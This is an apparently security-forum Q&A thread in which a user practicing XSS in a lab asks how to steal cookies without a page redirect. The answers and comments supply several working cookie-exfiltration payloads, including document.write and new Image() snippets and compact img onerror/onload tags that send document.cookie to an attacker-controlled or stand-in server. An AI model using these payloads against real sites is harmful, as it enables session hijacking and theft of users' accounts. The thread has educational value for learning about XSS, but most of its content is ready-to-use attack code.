I'm practicing in VM following the OWASP guide. I know that is possible to steal the cookie by redirecting to "False" page etc. but I would like to steal the cookie without redirecting on another page.

So, if you have some guestbook and then you put:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

How can I put this into existing page without redirecting?

Basically, what I want is when someone clicks on the link, grab the cookie and print it somewhere on the current page. Maybe in some alt tag or whatever.

Any ideas?

  • Google changed the way cookies are written. I can't get session cookies using the above method.
    – user63648
    Dec 16, 2014 at 20:40

2 Answers 2


If you have full control of the JavaScript getting written to the page then you could just do

document.write('cookie: ' + document.cookie)

If you want it sent to another server, you could include it in a non-existent image:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')

The key here being whether you can output arbitrary JavaScript or whether you're limited in the kind of JavaScript you can get executed. Though if you're limited in what can be output you could use more advanced methods of getting your custom code to execute which are a bit out of scope of the question.

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    And you can even request it without writing to document: image = new Image(); image.src='http://example.com?c='+document.cookie; May 23, 2014 at 9:24
  • I cannot edit your post but there is a missing quote, />) should be />'). Thanks anyway excellent answer
    – Alain
    Feb 25, 2015 at 15:46
  • This should not the case if the cookie is marked with the HttpOnly attribute. Mar 25, 2018 at 17:43

To add onto Steve's answer, there are many different ways to achieve this. If your intention is to not have the user be aware of the stolen cookie, I would suggest the <img> attack Steve suggested. Although I prefer avoiding the document.write since it uses up so many characters:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
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    This is nice and compact, but the problem is that it will recursively trigger the onerror handler unless an image is served from the attacker's page. Jun 4, 2018 at 20:47
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    I uses this approach but as the source you can use an existing image and use the onload attribute for the payload: <img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://yourserver/?'+document.cookie>
    – coffeemakr
    Dec 15, 2018 at 16:00

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